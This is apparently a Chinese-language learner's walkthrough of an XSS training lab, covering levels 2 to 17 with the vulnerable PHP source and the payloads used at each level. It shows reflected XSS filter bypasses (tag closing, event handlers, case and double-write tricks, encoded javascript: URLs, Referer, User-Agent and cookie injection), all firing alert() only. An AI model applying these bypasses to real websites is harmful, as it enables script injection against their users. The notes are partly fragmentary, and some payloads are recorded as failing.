无任何限制
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value="'搜索'"/>
标签
中的< >都被转变了
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value=搜索 />
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体
https://www.cnblogs.com/JeromeZ/p/8452819.html)
这里的敏感字符< >,已经被html编码了,最后在
标签里面输出的时候浏览器再使用html解码将其原文显示出来,但是并不会再触发js引擎了,所以也就没有弹窗了,利用失败。
[浏览器各个部分编码过程](https://blog.csdn.net/osdfhv/article/details/82872314)
方法
- value中< >并没有被转换,我们可以通过闭合这个带有$str的input标签来达成目的
"><script>alert(1)</script>
- 通过事件 加 // 是为了注释掉后面的 "
123456" οnclick=alert(1)//
123456" οnfοcus=alert(1) autofocus;// onfocus 事件在对象获得焦点时发生。
123456" οninput=alert(1) // oninput 事件在用户输入时触发
123456" οnchange=alert(1) //
-
第三关
$str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level3.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 />
发现过滤 > <
' οnfοcus=javascript:alert(1)
$str2=str_replace("<script","<scr_ipt",$str);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
过滤了on ,所以on事件不能用了
123456"><iframe src=javascript:alert(1)>
//只弹出了 1
"><a href=javascript:alert(1)>点我啊</a>
//sucess
- 第六关
```php
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
- 没有使用前面的转换小写函数strtolower,大小写绕过
" ><sCRipt>alert(1)</script>
<input name=keyword value="move%20up!<>alert(1);</>">
发现过滤了很多关键词
输入:<script><a href><img src><sscript><scscript>
变成:
<> <a > <img> <s> <sc>
双写绕过
"><scscriptriptscript>alert(1)</scscriptriptscript>
123456" oonninput=alert(1) "
123456"> <scscriptript>alert`1`</scscriptript> //
123456"><a/hrhrefef="javascriscriptpt:alert(1)">
123456"><img/sRsrcc=1 oneronerrorror=alert(1)> //找不到url,触发事件
$str7=str_replace('"','"',$str6);
……
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
输入,发现输入的内容在a标签的href内
过滤了:" src on script data
输出点在a标签内,href属性中,属性中双引号被转换成HTML实体,无法截断属性 :
<a href=""><scr_ipt>alert(1);</scr_ipt>//">友情链接</a>
协议绕过(没有成功)
javascript:alert, 由于script关键字被过滤,伪协议后面可以使用URL编码等进行编码。
javas%09cript:alert(1)
javas%0acript:alert(1)
javas%0dcript:alert(1)
输入的内容提交后到a标签的href属性里,故可以解析
javascript:alert(1)
javascript:alert`111`
javascript:alert`111`
-
第九关
输入javascript:alert(1)查看源码显示“链接不合法”
输入的代码中必须含有http://才不会被提示“链接不合法”。
http://127.0.0.1/xss/level9.php?keyword=javas%0acript:alert(1) <!-- http:// --> http://127.0.0.1/xss/level9.php?keyword=javas%0acript:alert(1) // http://
没有输入框,所以查看源码。有三个隐藏的输入框。
<h2 align=center>没有找到和<script>alert(1);</script>相关的结果.</h2><center> <form id=search> <input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form>
虽然前端的t_sort输入框是隐藏的但是后端依旧能接收数据,通过构造闭合input标签,改变type隐藏属性。
<input name="t_sort" value="" type="button" onclick="alert(1)" > 注入&t_sort=1” type="text"οnmοuseοver=alert(111)//
无输入框,查看源码:
<form id=search> <input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden"> <input name="t_ref" value="http://120.27.209.154:8091/level10.php?keyword=well%20done!" type="hidden"> </form>
html头部注入
突破口在t_ref,我们要修改referre值
可以通过抓包修改为
1" type="text" οnmοuseοver=alert(111)//
修改后点击run,鼠标移到1这个输入文本框即可成功。
我的显示找不到网页
- 第十二关
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0" type="hidden">
这一关是修改user_agenr
方法类似,这里抓包
修改user_agent为1” type=”text” οnmοuseοver=alert(111)//
- 第十三关
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_cook" value="" type="hidden">
这一关是修改cookies,
方法类似 抓包
将cookies改为1” type=”text” οnmοuseοver=alert(111)//
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>
上源码:
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:"></span></body>
要先了解一下这个ng-include属性
ng-include是AngularJS的一种指令,用于包含外部的HTML文件,包含内容作于指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。我们就引用第一关的页面,其中包含img标签
这个我不是很会,主要是第一关的写完代码后那个页面会直接弹窗进入第二关。
<center><s%63ript>alert(1)<%2fs%63ript></center><center>
过滤了一些东西如script / 也过滤了空格
看网上的也没成,查看源码原封不动输出来了:
<a%0Ahref=jav%26%23x61%3b%26%23x73%3b%26%23x63%3bript:alert(1)>123
url:http://120.27.209.154:8091/level17.php?arg01=a&arg02=b
源码:
<body>
<h1 align=center>欢迎来到level17</h1>
<embed src=xsf01.swf?a=b width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
后台接收了arg01和arg02两个值。
先了解一下这个embed标签是啥,这个标签定义了嵌入的内容,如插件。
用法
<embed src="helloworld.swf" />
我们可以给这个标签注入一些事件,如οnlοad=alert(11)等
注入arg01=1 &arg02=2 οnclick=alert(11)然后点击那个插件就弹出窗口了。这关为什么要这样弄呢?首先是要接收两个参数,我们就传给他两个参数,然后我们在第二个参数后面附加了一个事件,当点击时就会执行。
我注入后没有显示插件,源码:
<body>
<h1 align=center>欢迎来到level17</h1>
<embed src=xsf01.swf?a=b οnclick=alert(11) width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
参考:
XSS挑战之旅学习总结 - SecPulse.COM | 安全脉搏 (很多源码不一致)